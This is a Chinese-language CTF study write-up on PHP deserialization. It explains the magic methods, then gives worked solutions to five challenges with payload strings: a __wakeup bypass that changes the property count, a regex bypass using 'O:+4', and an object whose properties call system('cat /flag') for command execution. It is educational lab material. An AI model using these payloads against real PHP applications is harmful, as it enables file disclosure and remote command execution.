今日練習題目是PHP反序列化,也學習一下說明是序列化和反序列化
1.PHP序列化
序列化是指將數據結構或對象轉換為可傳輸或可儲存的格式的過程。這通常需要將數據轉換為字節流或者其他編碼格式,以便在不同系統和應用程序之間進行傳輸或存儲
在PHP中,可以使用serialize()函數將對象序列化為字符串,然后進行存儲或者傳輸
2.PHP反序列化
反序列化就是將序列化后的數據轉換為原來的對象,數據結構,變量的過程
在PHP中,可以使用unserialize()函數將序列化后的字符串轉化為原來的對象或數據
3.魔法函數
在PHP中,魔法函數是指的是特定的函數,名稱以兩個下劃線開始命名的
下面是一些常見的魔法函數
__construct :類的構造函數,在對象被創建時自動調用
__destruct :類的析構函數,在對象被銷毀時自動調用
__get :當調用一個不存在的屬性時自動調用
__set :當給一個不存在的屬性賦值時自動調用
__call : 當調用一個不存在的方法時調用
__toString : 當對象被轉換為字符串時自動調用
__sleep : 當對象被序列化時自動調用
__wakeup : 當對象被反序列化時自動調用
4.例題
4.1[攻防世界——unserialize3]
看這串代碼,顯示出來不是一個完整的PHP代碼(括號沒有完全閉合)
開始分析:
__wakeup()函數,看到這個函數,就會想到反序列化,對于上述代碼中的xctf類中,有一個flag變量和__wakeup函數方法,當一個xtcf對象被序列化為字符串后,再次反序列化該字符串(wakeup方法的調用),就會重建該對象(xctf)
題目沒有給出序列化,則需要我們自己生成出,然后給code傳參
<?php
class xctf{public $flag = '111';public function __wakeup(){ exit('bad requests'); }
}
$a= new xctf();
echo(serialize($a));
?>
//上述代碼就可以生成xctf的序列化字符串
序列化輸出結果為:O:4:"xctf":1:{s:4:"flag";s:3:"111";}?
分析可知,當把序列化結果傳參時,執行到wakeup方法就會成功反序列化,則打印“bad request”?,無法得到flag
所以就得繞過這個反序列化的操作,就是不能正確的將字符串反序列化
接下來就分析一下序列化結果
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
O:表示被序列化的是一個對象
4:表示對象名 xctf 有4個字符
"xctf":表示對象的名稱為 xctf
1:表示該對象只有一個屬性
{}:表示該對象的屬性列表為空
s:表示屬性類型為字符串
4:表示屬性名 flag 有4個字符
"flag":表示屬性名為 flag
s:表示屬性類型為字符串
3:表示屬性值 111 有3個字符
"111":表示屬性值為 111?
?這里的漏洞就是修改對象屬性的個數,因為當序列化中的屬性個數比實際代碼中的屬性個數大時,就不會執行wakeup方法,從而就可以使其報錯,出flag!
改為:O:4:"xctf":2:{s:4:"flag";s:3:"111";}?
get傳參:?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}?
?這道題順利解出!
4.2[攻防世界——Web_php_unserialize]
<?php
class Demo { private $file = 'index.php';public function __construct($file) { $this->file = $file; }function __destruct() { echo @highlight_file($this->file, true); }function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php$this->file = 'index.php'; } }
}
if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else {@unserialize($var); }
} else { highlight_file("index.php");
}
上述代碼,使用了php反序列化,可以通過$var來控制unserialize()的變量,所以漏洞在反序列化這里
分析源碼,可以看出,需要繞過__wakeup()方法和正則匹配,才可以高亮顯示出fl4g.php文件
第一部:繞過__wakeup()方法
和上一題一樣,先生成出序列化字符串,然后改變里面的屬性個數,進行繞過
第二步:繞過正則匹配
就是繞過preg_match('/[oc]:\d+:/i')對照上面的序列化字符串
分析:
[oc]:表示出現字符O或者C
\d+:表示匹配一個或者多個數字(d代表數字)
/i:表示不區分大小寫
繞過原理:?
1.原正則表達式期望匹配的是?o?或?c?后跟一個冒號,然后是一個或多個數字,再跟一個冒號。
2.在?O:+4:?中,雖然?+?不是一個數字,但 PHP 在處理反序列化時,對于對象長度的解析會將?+?當作數字處理。因為在序列化字符串中,對象的表示形式通常是?O:對象名稱長度:對象名稱。當使用?+?時,PHP 會將其解釋為一個較大的正數。
同時,由于原正則表達式沒有考慮?+?符號,所以?O:+4:?不會被?/[oc]:\d+:/i?匹配,從而繞過了該正則表達式的檢查。
//后面的執行代碼
$a=new Demo('fl4g.php');
$a=serialize($a);
$a=str_replace(':1:',':2:',$a);//繞過反序列化
$a=str_replace('O:4','O:+4',$a);//繞過正則
var_dump($a);//替換后的結果
var_dump(base64_encode($a));//輸出base64編碼結果
注意:這里有個坑,這里的 file 變量為私有變量,所以序列化之后的字符串開頭結尾各有一個空白字符(即%00),字符串長度也比實際長度大 2,如果將序列化結果復制到在線的 base64 網站進行編碼可能就會丟掉空白字符,所以這里直接在php 代碼里進行編碼。類似的還有 protected 類型的變量,序列化之后字符串首部會加上%00*%00。
然后get傳參得到flag
4.3[NSSCTF——[SWPUCTF 2022 新生賽]1z_unserialize]
可以看出這是一道序列化題目,利用__destruct()方法在銷毀對象時自動調用來執行預定義函數,實現命令注入
分析代碼,$a=$this->lt;$a($this->lly);這個意思就是$this->lt賦值給a,$this->lly作為參數傳遞給代表a的函數,就可以合并為lt(lly)
所以我們就可以通過構造一個惡意的序列化對象,將自定義的函數傳遞給$lt屬性,然后將執行的代碼傳遞給$lly,當對象序列化后再被反序列化,就是對象被銷毀的時候,自動調用__destruct()函數,從而執行繞過操作
只需要把a變成system(),把lly變成flag或者cat即可
system(cat/flag);
進行構造代碼
<?php
class lyh{public $url = 'NSSCTF.com';public $lt="system";public $lly="cat /flag";}$demo = new lyh();
echo serialize($demo);
?>
//運行結果
O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}
然后進行post傳參,得到flag
?4.4[NSSCTF——[SWPUCTF 2022 新生賽]ez_ez_unserialize]
分析代碼, 有__wakeup()方法,繞過該魔術方法即可
代碼中告訴我們,flag在f111111ag.php中,所以創建對象時,把flag文件作為參數傳進去
構造
<?php
class X
{public $x = __FILE__;function __construct($x){$this->x = $x;}function __wakeup(){if ($this->x !== __FILE__) {$this->x = __FILE__;}}function __destruct(){highlight_file($this->x);//flag is in fllllllag.php}
}
$demo=new X('fllllllag.php');
echo(serialize($demo));
?>
生成:O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}
修改為:O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}
然后get傳參得到flag
?
?4.5[NSSCTF——[SWPUCTF 2022 新生賽]ez_ez_unserialize]?
打開題目發現沒有東西,然后就下意識查看源碼
發現有disallow,就會想到Robots協議,就可以看看robots.txt?
robots.txt?文件是一個純文本文件,用于告訴搜索引擎爬蟲哪些 URL 可以訪問,哪些不能訪問。它主要用于管理爬蟲流量,防止服務器被過多的請求壓垮
看到有/cl45s.php直接打開,顯示php代碼
分析代碼,可以看到,對象銷毀時調用__destrcut()方法,而flag就在這個方法中,只需要滿足方法中的if語句?,就可以得到flag,但是這里面如何改admin和passwd變量的值呢?就需要構造一下,將”admin“賦值給admin,”ctf“賦值給passwd即可,然后進行創建對象,再打印序列化后的字符串
<?php
class wllm{public $admin="admin";public $passwd="ctf";}
$demo=new wllm();
echo(serialize($demo));
?>
O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
然后get傳參,得到flag
?